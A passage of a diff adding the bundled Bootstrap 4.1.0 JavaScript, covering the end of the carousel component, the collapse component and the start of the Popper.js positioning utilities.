+              _this2.touchTimeout = setTimeout(function (event) {
+                return _this2.cycle(event);
+              }, TOUCHEVENT_COMPAT_WAIT + _this2._config.interval);
+            });
+          }
+        }
+      };
+
+      _proto._keydown = function _keydown(event) {
+        if (/input|textarea/i.test(event.target.tagName)) {
+          return;
+        }
+
+        switch (event.which) {
+          case ARROW_LEFT_KEYCODE:
+            event.preventDefault();
+            this.prev();
+            break;
+
+          case ARROW_RIGHT_KEYCODE:
+            event.preventDefault();
+            this.next();
+            break;
+
+          default:
+        }
+      };
+
+      _proto._getItemIndex = function _getItemIndex(element) {
+        this._items = $$$1.makeArray($$$1(element).parent().find(Selector.ITEM));
+        return this._items.indexOf(element);
+      };
+
+      _proto._getItemByDirection = function _getItemByDirection(direction, activeElement) {
+        var isNextDirection = direction === Direction.NEXT;
+        var isPrevDirection = direction === Direction.PREV;
+
+        var activeIndex = this._getItemIndex(activeElement);
+
+        var lastItemIndex = this._items.length - 1;
+        var isGoingToWrap = isPrevDirection && activeIndex === 0 || isNextDirection && activeIndex === lastItemIndex;
+
+        if (isGoingToWrap && !this._config.wrap) {
+          return activeElement;
+        }
+
+        var delta = direction === Direction.PREV ? -1 : 1;
+        var itemIndex = (activeIndex + delta) % this._items.length;
+        return itemIndex === -1 ? this._items[this._items.length - 1] : this._items[itemIndex];
+      };
+
+      _proto._triggerSlideEvent = function _triggerSlideEvent(relatedTarget, eventDirectionName) {
+        var targetIndex = this._getItemIndex(relatedTarget);
+
+        var fromIndex = this._getItemIndex($$$1(this._element).find(Selector.ACTIVE_ITEM)[0]);
+
+        var slideEvent = $$$1.Event(Event.SLIDE, {
+          relatedTarget: relatedTarget,
+          direction: eventDirectionName,
+          from: fromIndex,
+          to: targetIndex
+        });
+        $$$1(this._element).trigger(slideEvent);
+        return slideEvent;
+      };
+
+      _proto._setActiveIndicatorElement = function _setActiveIndicatorElement(element) {
+        if (this._indicatorsElement) {
+          $$$1(this._indicatorsElement).find(Selector.ACTIVE).removeClass(ClassName.ACTIVE);
+
+          var nextIndicator = this._indicatorsElement.children[this._getItemIndex(element)];
+
+          if (nextIndicator) {
+            $$$1(nextIndicator).addClass(ClassName.ACTIVE);
+          }
+        }
+      };
+
+      _proto._slide = function _slide(direction, element) {
+        var _this3 = this;
+
+        var activeElement = $$$1(this._element).find(Selector.ACTIVE_ITEM)[0];
+
+        var activeElementIndex = this._getItemIndex(activeElement);
+
+        var nextElement = element || activeElement && this._getItemByDirection(direction, activeElement);
+
+        var nextElementIndex = this._getItemIndex(nextElement);
+
+        var isCycling = Boolean(this._interval);
+        var directionalClassName;
+        var orderClassName;
+        var eventDirectionName;
+
+        if (direction === Direction.NEXT) {
+          directionalClassName = ClassName.LEFT;
+          orderClassName = ClassName.NEXT;
+          eventDirectionName = Direction.LEFT;
+        } else {
+          directionalClassName = ClassName.RIGHT;
+          orderClassName = ClassName.PREV;
+          eventDirectionName = Direction.RIGHT;
+        }
+
+        if (nextElement && $$$1(nextElement).hasClass(ClassName.ACTIVE)) {
+          this._isSliding = false;
+          return;
+        }
+
+        var slideEvent = this._triggerSlideEvent(nextElement, eventDirectionName);
+
+        if (slideEvent.isDefaultPrevented()) {
+          return;
+        }
+
+        if (!activeElement || !nextElement) {
+          // Some weirdness is happening, so we bail
+          return;
+        }
+
+        this._isSliding = true;
+
+        if (isCycling) {
+          this.pause();
+        }
+
+        this._setActiveIndicatorElement(nextElement);
+
+        var slidEvent = $$$1.Event(Event.SLID, {
+          relatedTarget: nextElement,
+          direction: eventDirectionName,
+          from: activeElementIndex,
+          to: nextElementIndex
+        });
+
+        if ($$$1(this._element).hasClass(ClassName.SLIDE)) {
+          $$$1(nextElement).addClass(orderClassName);
+          Util.reflow(nextElement);
+          $$$1(activeElement).addClass(directionalClassName);
+          $$$1(nextElement).addClass(directionalClassName);
+          var transitionDuration = Util.getTransitionDurationFromElement(activeElement);
+          $$$1(activeElement).one(Util.TRANSITION_END, function () {
+            $$$1(nextElement).removeClass(directionalClassName + " " + orderClassName).addClass(ClassName.ACTIVE);
+            $$$1(activeElement).removeClass(ClassName.ACTIVE + " " + orderClassName + " " + directionalClassName);
+            _this3._isSliding = false;
+            setTimeout(function () {
+              return $$$1(_this3._element).trigger(slidEvent);
+            }, 0);
+          }).emulateTransitionEnd(transitionDuration);
+        } else {
+          $$$1(activeElement).removeClass(ClassName.ACTIVE);
+          $$$1(nextElement).addClass(ClassName.ACTIVE);
+          this._isSliding = false;
+          $$$1(this._element).trigger(slidEvent);
+        }
+
+        if (isCycling) {
+          this.cycle();
+        }
+      }; // Static
+
+
+      Carousel._jQueryInterface = function _jQueryInterface(config) {
+        return this.each(function () {
+          var data = $$$1(this).data(DATA_KEY);
+
+          var _config = _objectSpread({}, Default, $$$1(this).data());
+
+          if (typeof config === 'object') {
+            _config = _objectSpread({}, _config, config);
+          }
+
+          var action = typeof config === 'string' ? config : _config.slide;
+
+          if (!data) {
+            data = new Carousel(this, _config);
+            $$$1(this).data(DATA_KEY, data);
+          }
+
+          if (typeof config === 'number') {
+            data.to(config);
+          } else if (typeof action === 'string') {
+            if (typeof data[action] === 'undefined') {
+              throw new TypeError("No method named \"" + action + "\"");
+            }
+
+            data[action]();
+          } else if (_config.interval) {
+            data.pause();
+            data.cycle();
+          }
+        });
+      };
+
+      Carousel._dataApiClickHandler = function _dataApiClickHandler(event) {
+        var selector = Util.getSelectorFromElement(this);
+
+        if (!selector) {
+          return;
+        }
+
+        var target = $$$1(selector)[0];
+
+        if (!target || !$$$1(target).hasClass(ClassName.CAROUSEL)) {
+          return;
+        }
+
+        var config = _objectSpread({}, $$$1(target).data(), $$$1(this).data());
+
+        var slideIndex = this.getAttribute('data-slide-to');
+
+        if (slideIndex) {
+          config.interval = false;
+        }
+
+        Carousel._jQueryInterface.call($$$1(target), config);
+
+        if (slideIndex) {
+          $$$1(target).data(DATA_KEY).to(slideIndex);
+        }
+
+        event.preventDefault();
+      };
+
+      _createClass(Carousel, null, [{
+        key: "VERSION",
+        get: function get() {
+          return VERSION;
+        }
+      }, {
+        key: "Default",
+        get: function get() {
+          return Default;
+        }
+      }]);
+
+      return Carousel;
+    }();
+    /**
+     * ------------------------------------------------------------------------
+     * Data Api implementation
+     * ------------------------------------------------------------------------
+     */
+
+
+    $$$1(document).on(Event.CLICK_DATA_API, Selector.DATA_SLIDE, Carousel._dataApiClickHandler);
+    $$$1(window).on(Event.LOAD_DATA_API, function () {
+      $$$1(Selector.DATA_RIDE).each(function () {
+        var $carousel = $$$1(this);
+
+        Carousel._jQueryInterface.call($carousel, $carousel.data());
+      });
+    });
+    /**
+     * ------------------------------------------------------------------------
+     * jQuery
+     * ------------------------------------------------------------------------
+     */
+
+    $$$1.fn[NAME] = Carousel._jQueryInterface;
+    $$$1.fn[NAME].Constructor = Carousel;
+
+    $$$1.fn[NAME].noConflict = function () {
+      $$$1.fn[NAME] = JQUERY_NO_CONFLICT;
+      return Carousel._jQueryInterface;
+    };
+
+    return Carousel;
+  }($);
+
+  /**
+   * --------------------------------------------------------------------------
+   * Bootstrap (v4.1.0): collapse.js
+   * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+   * --------------------------------------------------------------------------
+   */
+
+  var Collapse = function ($$$1) {
+    /**
+     * ------------------------------------------------------------------------
+     * Constants
+     * ------------------------------------------------------------------------
+     */
+    var NAME = 'collapse';
+    var VERSION = '4.1.0';
+    var DATA_KEY = 'bs.collapse';
+    var EVENT_KEY = "." + DATA_KEY;
+    var DATA_API_KEY = '.data-api';
+    var JQUERY_NO_CONFLICT = $$$1.fn[NAME];
+    var Default = {
+      toggle: true,
+      parent: ''
+    };
+    var DefaultType = {
+      toggle: 'boolean',
+      parent: '(string|element)'
+    };
+    var Event = {
+      SHOW: "show" + EVENT_KEY,
+      SHOWN: "shown" + EVENT_KEY,
+      HIDE: "hide" + EVENT_KEY,
+      HIDDEN: "hidden" + EVENT_KEY,
+      CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY
+    };
+    var ClassName = {
+      SHOW: 'show',
+      COLLAPSE: 'collapse',
+      COLLAPSING: 'collapsing',
+      COLLAPSED: 'collapsed'
+    };
+    var Dimension = {
+      WIDTH: 'width',
+      HEIGHT: 'height'
+    };
+    var Selector = {
+      ACTIVES: '.show, .collapsing',
+      DATA_TOGGLE: '[data-toggle="collapse"]'
+      /**
+       * ------------------------------------------------------------------------
+       * Class Definition
+       * ------------------------------------------------------------------------
+       */
+
+    };
+
+    var Collapse =
+    /*#__PURE__*/
+    function () {
+      function Collapse(element, config) {
+        this._isTransitioning = false;
+        this._element = element;
+        this._config = this._getConfig(config);
+        this._triggerArray = $$$1.makeArray($$$1("[data-toggle=\"collapse\"][href=\"#" + element.id + "\"]," + ("[data-toggle=\"collapse\"][data-target=\"#" + element.id + "\"]")));
+        var tabToggles = $$$1(Selector.DATA_TOGGLE);
+
+        for (var i = 0; i < tabToggles.length; i++) {
+          var elem = tabToggles[i];
+          var selector = Util.getSelectorFromElement(elem);
+
+          if (selector !== null && $$$1(selector).filter(element).length > 0) {
+            this._selector = selector;
+
+            this._triggerArray.push(elem);
+          }
+        }
+
+        this._parent = this._config.parent ? this._getParent() : null;
+
+        if (!this._config.parent) {
+          this._addAriaAndCollapsedClass(this._element, this._triggerArray);
+        }
+
+        if (this._config.toggle) {
+          this.toggle();
+        }
+      } // Getters
+
+
+      var _proto = Collapse.prototype;
+
+      // Public
+      _proto.toggle = function toggle() {
+        if ($$$1(this._element).hasClass(ClassName.SHOW)) {
+          this.hide();
+        } else {
+          this.show();
+        }
+      };
+
+      _proto.show = function show() {
+        var _this = this;
+
+        if (this._isTransitioning || $$$1(this._element).hasClass(ClassName.SHOW)) {
+          return;
+        }
+
+        var actives;
+        var activesData;
+
+        if (this._parent) {
+          actives = $$$1.makeArray($$$1(this._parent).find(Selector.ACTIVES).filter("[data-parent=\"" + this._config.parent + "\"]"));
+
+          if (actives.length === 0) {
+            actives = null;
+          }
+        }
+
+        if (actives) {
+          activesData = $$$1(actives).not(this._selector).data(DATA_KEY);
+
+          if (activesData && activesData._isTransitioning) {
+            return;
+          }
+        }
+
+        var startEvent = $$$1.Event(Event.SHOW);
+        $$$1(this._element).trigger(startEvent);
+
+        if (startEvent.isDefaultPrevented()) {
+          return;
+        }
+
+        if (actives) {
+          Collapse._jQueryInterface.call($$$1(actives).not(this._selector), 'hide');
+
+          if (!activesData) {
+            $$$1(actives).data(DATA_KEY, null);
+          }
+        }
+
+        var dimension = this._getDimension();
+
+        $$$1(this._element).removeClass(ClassName.COLLAPSE).addClass(ClassName.COLLAPSING);
+        this._element.style[dimension] = 0;
+
+        if (this._triggerArray.length > 0) {
+          $$$1(this._triggerArray).removeClass(ClassName.COLLAPSED).attr('aria-expanded', true);
+        }
+
+        this.setTransitioning(true);
+
+        var complete = function complete() {
+          $$$1(_this._element).removeClass(ClassName.COLLAPSING).addClass(ClassName.COLLAPSE).addClass(ClassName.SHOW);
+          _this._element.style[dimension] = '';
+
+          _this.setTransitioning(false);
+
+          $$$1(_this._element).trigger(Event.SHOWN);
+        };
+
+        var capitalizedDimension = dimension[0].toUpperCase() + dimension.slice(1);
+        var scrollSize = "scroll" + capitalizedDimension;
+        var transitionDuration = Util.getTransitionDurationFromElement(this._element);
+        $$$1(this._element).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration);
+        this._element.style[dimension] = this._element[scrollSize] + "px";
+      };
+
+      _proto.hide = function hide() {
+        var _this2 = this;
+
+        if (this._isTransitioning || !$$$1(this._element).hasClass(ClassName.SHOW)) {
+          return;
+        }
+
+        var startEvent = $$$1.Event(Event.HIDE);
+        $$$1(this._element).trigger(startEvent);
+
+        if (startEvent.isDefaultPrevented()) {
+          return;
+        }
+
+        var dimension = this._getDimension();
+
+        this._element.style[dimension] = this._element.getBoundingClientRect()[dimension] + "px";
+        Util.reflow(this._element);
+        $$$1(this._element).addClass(ClassName.COLLAPSING).removeClass(ClassName.COLLAPSE).removeClass(ClassName.SHOW);
+
+        if (this._triggerArray.length > 0) {
+          for (var i = 0; i < this._triggerArray.length; i++) {
+            var trigger = this._triggerArray[i];
+            var selector = Util.getSelectorFromElement(trigger);
+
+            if (selector !== null) {
+              var $elem = $$$1(selector);
+
+              if (!$elem.hasClass(ClassName.SHOW)) {
+                $$$1(trigger).addClass(ClassName.COLLAPSED).attr('aria-expanded', false);
+              }
+            }
+          }
+        }
+
+        this.setTransitioning(true);
+
+        var complete = function complete() {
+          _this2.setTransitioning(false);
+
+          $$$1(_this2._element).removeClass(ClassName.COLLAPSING).addClass(ClassName.COLLAPSE).trigger(Event.HIDDEN);
+        };
+
+        this._element.style[dimension] = '';
+        var transitionDuration = Util.getTransitionDurationFromElement(this._element);
+        $$$1(this._element).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration);
+      };
+
+      _proto.setTransitioning = function setTransitioning(isTransitioning) {
+        this._isTransitioning = isTransitioning;
+      };
+
+      _proto.dispose = function dispose() {
+        $$$1.removeData(this._element, DATA_KEY);
+        this._config = null;
+        this._parent = null;
+        this._element = null;
+        this._triggerArray = null;
+        this._isTransitioning = null;
+      }; // Private
+
+
+      _proto._getConfig = function _getConfig(config) {
+        config = _objectSpread({}, Default, config);
+        config.toggle = Boolean(config.toggle); // Coerce string values
+
+        Util.typeCheckConfig(NAME, config, DefaultType);
+        return config;
+      };
+
+      _proto._getDimension = function _getDimension() {
+        var hasWidth = $$$1(this._element).hasClass(Dimension.WIDTH);
+        return hasWidth ? Dimension.WIDTH : Dimension.HEIGHT;
+      };
+
+      _proto._getParent = function _getParent() {
+        var _this3 = this;
+
+        var parent = null;
+
+        if (Util.isElement(this._config.parent)) {
+          parent = this._config.parent; // It's a jQuery object
+
+          if (typeof this._config.parent.jquery !== 'undefined') {
+            parent = this._config.parent[0];
+          }
+        } else {
+          parent = $$$1(this._config.parent)[0];
+        }
+
+        var selector = "[data-toggle=\"collapse\"][data-parent=\"" + this._config.parent + "\"]";
+        $$$1(parent).find(selector).each(function (i, element) {
+          _this3._addAriaAndCollapsedClass(Collapse._getTargetFromElement(element), [element]);
+        });
+        return parent;
+      };
+
+      _proto._addAriaAndCollapsedClass = function _addAriaAndCollapsedClass(element, triggerArray) {
+        if (element) {
+          var isOpen = $$$1(element).hasClass(ClassName.SHOW);
+
+          if (triggerArray.length > 0) {
+            $$$1(triggerArray).toggleClass(ClassName.COLLAPSED, !isOpen).attr('aria-expanded', isOpen);
+          }
+        }
+      }; // Static
+
+
+      Collapse._getTargetFromElement = function _getTargetFromElement(element) {
+        var selector = Util.getSelectorFromElement(element);
+        return selector ? $$$1(selector)[0] : null;
+      };
+
+      Collapse._jQueryInterface = function _jQueryInterface(config) {
+        return this.each(function () {
+          var $this = $$$1(this);
+          var data = $this.data(DATA_KEY);
+
+          var _config = _objectSpread({}, Default, $this.data(), typeof config === 'object' && config);
+
+          if (!data && _config.toggle && /show|hide/.test(config)) {
+            _config.toggle = false;
+          }
+
+          if (!data) {
+            data = new Collapse(this, _config);
+            $this.data(DATA_KEY, data);
+          }
+
+          if (typeof config === 'string') {
+            if (typeof data[config] === 'undefined') {
+              throw new TypeError("No method named \"" + config + "\"");
+            }
+
+            data[config]();
+          }
+        });
+      };
+
+      _createClass(Collapse, null, [{
+        key: "VERSION",
+        get: function get() {
+          return VERSION;
+        }
+      }, {
+        key: "Default",
+        get: function get() {
+          return Default;
+        }
+      }]);
+
+      return Collapse;
+    }();
+    /**
+     * ------------------------------------------------------------------------
+     * Data Api implementation
+     * ------------------------------------------------------------------------
+     */
+
+
+    $$$1(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {
+      // preventDefault only for <a> elements (which change the URL) not inside the collapsible element
+      if (event.currentTarget.tagName === 'A') {
+        event.preventDefault();
+      }
+
+      var $trigger = $$$1(this);
+      var selector = Util.getSelectorFromElement(this);
+      $$$1(selector).each(function () {
+        var $target = $$$1(this);
+        var data = $target.data(DATA_KEY);
+        var config = data ? 'toggle' : $trigger.data();
+
+        Collapse._jQueryInterface.call($target, config);
+      });
+    });
+    /**
+     * ------------------------------------------------------------------------
+     * jQuery
+     * ------------------------------------------------------------------------
+     */
+
+    $$$1.fn[NAME] = Collapse._jQueryInterface;
+    $$$1.fn[NAME].Constructor = Collapse;
+
+    $$$1.fn[NAME].noConflict = function () {
+      $$$1.fn[NAME] = JQUERY_NO_CONFLICT;
+      return Collapse._jQueryInterface;
+    };
+
+    return Collapse;
+  }($);
+
+  /**!
+   * @fileOverview Kickass library to create and place poppers near their reference elements.
+   * @version 1.14.1
+   * @license
+   * Copyright (c) 2016 Federico Zivolo and contributors
+   *
+   * Permission is hereby granted, free of charge, to any person obtaining a copy
+   * of this software and associated documentation files (the "Software"), to deal
+   * in the Software without restriction, including without limitation the rights
+   * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+   * copies of the Software, and to permit persons to whom the Software is
+   * furnished to do so, subject to the following conditions:
+   *
+   * The above copyright notice and this permission notice shall be included in all
+   * copies or substantial portions of the Software.
+   *
+   * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+   * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+   * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+   * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+   * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+   * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+   * SOFTWARE.
+   */
+  var isBrowser = typeof window !== 'undefined' && typeof document !== 'undefined';
+  var longerTimeoutBrowsers = ['Edge', 'Trident', 'Firefox'];
+  var timeoutDuration = 0;
+  for (var i = 0; i < longerTimeoutBrowsers.length; i += 1) {
+    if (isBrowser && navigator.userAgent.indexOf(longerTimeoutBrowsers[i]) >= 0) {
+      timeoutDuration = 1;
+      break;
+    }
+  }
+
+  function microtaskDebounce(fn) {
+    var called = false;
+    return function () {
+      if (called) {
+        return;
+      }
+      called = true;
+      window.Promise.resolve().then(function () {
+        called = false;
+        fn();
+      });
+    };
+  }
+
+  function taskDebounce(fn) {
+    var scheduled = false;
+    return function () {
+      if (!scheduled) {
+        scheduled = true;
+        setTimeout(function () {
+          scheduled = false;
+          fn();
+        }, timeoutDuration);
+      }
+    };
+  }
+
+  var supportsMicroTasks = isBrowser && window.Promise;
+
+  /**
+  * Create a debounced version of a method, that's asynchronously deferred
+  * but called in the minimum time possible.
+  *
+  * @method
+  * @memberof Popper.Utils
+  * @argument {Function} fn
+  * @returns {Function}
+  */
+  var debounce = supportsMicroTasks ? microtaskDebounce : taskDebounce;
+
+  /**
+   * Check if the given variable is a function
+   * @method
+   * @memberof Popper.Utils
+   * @argument {Any} functionToCheck - variable to check
+   * @returns {Boolean} answer to: is a function?
+   */
+  function isFunction(functionToCheck) {
+    var getType = {};
+    return functionToCheck && getType.toString.call(functionToCheck) === '[object Function]';
+  }
+
+  /**
+   * Get CSS computed property of the given element
+   * @method
+   * @memberof Popper.Utils
+   * @argument {Eement} element
+   * @argument {String} property
+   */
+  function getStyleComputedProperty(element, property) {
+    if (element.nodeType !== 1) {
+      return [];
+    }
+    // NOTE: 1 DOM access here
+    var css = getComputedStyle(element, null);
+    return property ? css[property] : css;
+  }
+
+  /**
+   * Returns the parentNode or the host of the element
+   * @method
+   * @memberof Popper.Utils
+   * @argument {Element} element
+   * @returns {Element} parent
+   */
+  function getParentNode(element) {
+    if (element.nodeName === 'HTML') {
+      return element;
+    }
+    return element.parentNode || element.host;
+  }
+
+  /**
+   * Returns the scrolling parent of the given element
+   * @method
+   * @memberof Popper.Utils
+   * @argument {Element} element
+   * @returns {Element} scroll parent
+   */
+  function getScrollParent(element) {
+    // Return body, `getScroll` will take care to get the correct `scrollTop` from it
+    if (!element) {
+      return document.body;
+    }
+
+    switch (element.nodeName) {
+      case 'HTML':
+      case 'BODY':
+        return element.ownerDocument.body;
+      case '#document':
+        return element.body;
+    }
+
+    // Firefox want us to check `-x` and `-y` variations as well
+
+    var _getStyleComputedProp = getStyleComputedProperty(element),
+        overflow = _getStyleComputedProp.overflow,
+        overflowX = _getStyleComputedProp.overflowX,
+        overflowY = _getStyleComputedProp.overflowY;
+
+    if (/(auto|scroll|overlay)/.test(overflow + overflowY + overflowX)) {
+      return element;
+    }
+
+    return getScrollParent(getParentNode(element));
+  }
+
+  /**
+   * Tells if you are running Internet Explorer
+   * @method
+   * @memberof Popper.Utils
+   * @argument {number} version to check
+   * @returns {Boolean} isIE
+   */
+  var cache = {};
+
+  var isIE = function () {
+    var version = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 'all';
+
+    version = version.toString();
+    if (cache.hasOwnProperty(version)) {
+      return cache[version];
+    }
+    switch (version) {
+      case '11':
+        cache[version] = navigator.userAgent.indexOf('Trident') !== -1;
+        break;
+      case '10':
+        cache[version] = navigator.appVersion.indexOf('MSIE 10') !== -1;
+        break;
+      case 'all':
+        cache[version] = navigator.userAgent.indexOf('Trident') !== -1 || navigator.userAgent.indexOf('MSIE') !== -1;
+        break;
+    }
+
+    //Set IE
+    cache.all = cache.all || Object.keys(cache).some(function (key) {
+      return cache[key];
+    });
+    return cache[version];
+  };
+
+  /**
+   * Returns the offset parent of the given element
+   * @method
+   * @memberof Popper.Utils
+   * @argument {Element} element
+   * @returns {Element} offset parent
+   */
+  function getOffsetParent(element) {
+    if (!element) {
+      return document.documentElement;
+    }
+
+    var noOffsetParent = isIE(10) ? document.body : null;
+
+    // NOTE: 1 DOM access here
+    var offsetParent = element.offsetParent;
+    // Skip hidden elements which don't have an offsetParent
+    while (offsetParent === noOffsetParent && element.nextElementSibling) {
+      offsetParent = (element = element.nextElementSibling).offsetParent;
+    }
+
+    var nodeName = offsetParent && offsetParent.nodeName;
+
+    if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') {
+      return element ? element.ownerDocument.documentElement : document.documentElement;
+    }
+
+    // .offsetParent will return the closest TD or TABLE in case
+    // no offsetParent is present, I hate this job...
+    if (['TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 && getStyleComputedProperty(offsetParent, 'position') === 'static') {
+      return getOffsetParent(offsetParent);
+    }
+
+    return offsetParent;
+  }
+
+  function isOffsetContainer(element) {
+    var nodeName = element.nodeName;
+
+    if (nodeName === 'BODY') {
+      return false;
+    }
+    return nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element;
+  }
+
+  /**
+   * Finds the root node (document, shadowDOM root) of the given element
+   * @method
+   * @memberof Popper.Utils
+   * @argument {Element} node
+   * @returns {Element} root node
+   */
+  function getRoot(node) {
+    if (node.parentNode !== null) {
+      return getRoot(node.parentNode);
+    }
+
+    return node;
+  }
+
+  /**
+   * Finds the offset parent common to the two provided nodes
+   * @method
+   * @memberof Popper.Utils
+   * @argument {Element} element1
+   * @argument {Element} element2
+   * @returns {Element} common offset parent
+   */
+  function findCommonOffsetParent(element1, element2) {
+    // This check is needed to avoid errors in case one of the elements isn't defined for any reason
+    if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) {
+      return document.documentElement;
+    }
+
+    // Here we make sure to give as "start" the element that comes first in the DOM
+    var order = element1.compareDocumentPosition(element2) & Node.DOCUMENT_POSITION_FOLLOWING;
+    var start = order ? element1 : element2;
+    var end = order ? element2 : element1;
+
+    // Get common ancestor container
+    var range = document.createRange();
+    range.setStart(start, 0);
+    range.setEnd(end, 0);
+    var commonAncestorContainer = range.commonAncestorContainer;
+
+    // Both nodes are inside #document
+
+    if (element1 !== commonAncestorContainer && element2 !== commonAncestorContainer || start.contains(end)) {
+      if (isOffsetContainer(commonAncestorContainer)) {
+        return commonAncestorContainer;
+      }
+
+      return getOffsetParent(commonAncestorContainer);
+    }
+
+    // one of the nodes is inside shadowDOM, find which one
+    var element1root = getRoot(element1);
+    if (element1root.host) {
+      return findCommonOffsetParent(element1root.host, element2);
+    } else {
+      return findCommonOffsetParent(element1, getRoot(element2).host);
+    }
+  }
+
+  /**
+   * Gets the scroll value of the given element in the given side (top and left)
+   * @method
+   * @memberof Popper.Utils
+   * @argument {Element} element
+   * @argument {String} side `top` or `left`
+   * @returns {number} amount of scrolled pixels
+   */
+  function getScroll(element) {
+    var side = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'top';
+
+    var upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft';
+    var nodeName = element.nodeName;
+
+    if (nodeName === 'BODY' || nodeName === 'HTML') {
+      var html = element.ownerDocument.documentElement;
+      var scrollingElement = element.ownerDocument.scrollingElement || html;
+      return scrollingElement[upperSide];
+    }
+
+    return element[upperSide];
+  }
+
+  /*
+   * Sum or subtract the element scroll values (left and top) from a given rect object
+   * @method
+   * @memberof Popper.Utils
+   * @param {Object} rect - Rect object you want to change
+   * @param {HTMLElement} element - The element from the function reads the scroll values
+   * @param {Boolean} subtract - set to true if you want to subtract the scroll values
+   * @return {Object} rect - The modifier rect object
+   */
+  function includeScroll(rect, element) {
+    var subtract = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;
+
+    var scrollTop = getScroll(element, 'top');
+    var scrollLeft = getScroll(element, 'left');
+    var modifier = subtract ? -1 : 1;
+    rect.top += scrollTop * modifier;
+    rect.bottom += scrollTop * modifier;
+    rect.left += scrollLeft * modifier;
+    rect.right += scrollLeft * modifier;
+    return rect;
+  }
+
+  /*
+   * Helper to detect borders of a given element
+   * @method
+   * @memberof Popper.Utils
+   * @param {CSSStyleDeclaration} styles
+   * Result of `getStyleComputedProperty` on the given element
+   * @param {String} axis - `x` or `y`
+   * @return {number} borders - The borders size of the given axis
+   */
+
+  function getBordersSize(styles, axis) {
+    var sideA = axis === 'x' ? 'Left' : 'Top';
+    var sideB = sideA === 'Left' ? 'Right' : 'Bottom';
+
+    return parseFloat(styles['border' + sideA + 'Width'], 10) + parseFloat(styles['border' + sideB + 'Width'], 10);
+  }
+
+  function getSize(axis, body, html, computedStyle) {
+    return Math.max(body['offset' + axis], body['scroll' + axis], html['client' + axis], html['offset' + axis], html['scroll' + axis], isIE(10) ? html['offset' + axis] + computedStyle['margin' + (axis === 'Height' ? 'Top' : 'Left')] + computedStyle['margin' + (axis === 'Height' ? 'Bottom' : 'Right')] : 0);
+  }
+
+  function getWindowSizes() {
+    var body = document.body;
+    var html = document.documentElement;
+    var computedStyle = isIE(10) && getComputedStyle(html);
+
+    return {
+      height: getSize('Height', body, html, computedStyle),
+      width: getSize('Width', body, html, computedStyle)
+    };
+  }
+
+  var classCallCheck = function (instance, Constructor) {
+    if (!(instance instanceof Constructor)) {
+      throw new TypeError("Cannot call a class as a function");
+    }
+  };
+
+  var createClass = function () {
+    function defineProperties(target, props) {
+      for (var i = 0; i < props.length; i++) {
+        var descriptor = props[i];
+        descriptor.enumerable = descriptor.enumerable || false;
+        descriptor.configurable = true;
+        if ("value" in descriptor) descriptor.writable = true;
+        Object.defineProperty(target, descriptor.key, descriptor);
+      }
+    }
+
+    return function (Constructor, protoProps, staticProps) {
+      if (protoProps) defineProperties(Constructor.prototype, protoProps);
+      if (staticProps) defineProperties(Constructor, staticProps);
+      return Constructor;
+    };
+  }();
+
+
+
+
+
+  var defineProperty = function (obj, key, value) {
+    if (key in obj) {
+      Object.defineProperty(obj, key, {
+        value: value,
+        enumerable: true,
+        configurable: true,
+        writable: true
+      });
+    } else {
+      obj[key] = value;
+    }
+
+    return obj;
+  };
+
+  var _extends = Object.assign || function (target) {
+    for (var i = 1; i < arguments.length; i++) {
+      var source = arguments[i];
+
+      for (var key in source) {
+        if (Object.prototype.hasOwnProperty.call(source, key)) {
+          target[key] = source[key];
+        }
+      }
+    }
+
+    return target;
+  };
+
+  /**
+   * Given element offsets, generate an output similar to getBoundingClientRect
+   * @method
+   * @memberof Popper.Utils
+   * @argument {Object} offsets
+   * @returns {Object} ClientRect like output
+   */
+  function getClientRect(offsets) {
+    return _extends({}, offsets, {
+      right: offsets.left + offsets.width,
+      bottom: offsets.top + offsets.height
+    });
+  }
+
+  /**
+   * Get bounding client rect of given element
+   * @method
+   * @memberof Popper.Utils
+   * @param {HTMLElement} element
+   * @return {Object} client rect
+   */
+  function getBoundingClientRect(element) {
+    var rect = {};
+
+    // IE10 10 FIX: Please, don't ask, the element isn't
+    // considered in DOM in some circumstances...
+    // This isn't reproducible in IE10 compatibility mode of IE11
+    try {
+      if (isIE(10)) {
+        rect = element.getBoundingClientRect();
+        var scrollTop = getScroll(element, 'top');
+        var scrollLeft = getScroll(element, 'left');
+        rect.top += scrollTop;
+        rect.left += scrollLeft;
+        rect.bottom += scrollTop;
+        rect.right += scrollLeft;
+      } else {
+        rect = element.getBoundingClientRect();
+      }
+    } catch (e) {}
+
+    var result = {
+      left: rect.left,
+      top: rect.top,
+      width: rect.right - rect.left,
+      height: rect.bottom - rect.top
+    };
+
+    // subtract scrollbar size from sizes
+    var sizes = element.nodeName === 'HTML' ? getWindowSizes() : {};
+    var width = sizes.width || element.clientWidth || result.right - result.left;
+    var height = sizes.height || element.clientHeight || result.bottom - result.top;
+
+    var horizScrollbar = element.offsetWidth - width;
+    var vertScrollbar = element.offsetHeight - height;
+
+    // if an hypothetical scrollbar is detected, we must be sure it's not a `border`
+    // we make this check conditional for performance reasons
+    if (horizScrollbar || vertScrollbar) {
+      var styles = getStyleComputedProperty(element);
+      horizScrollbar -= getBordersSize(styles, 'x');
+      vertScrollbar -= getBordersSize(styles, 'y');
+
+      result.width -= horizScrollbar;
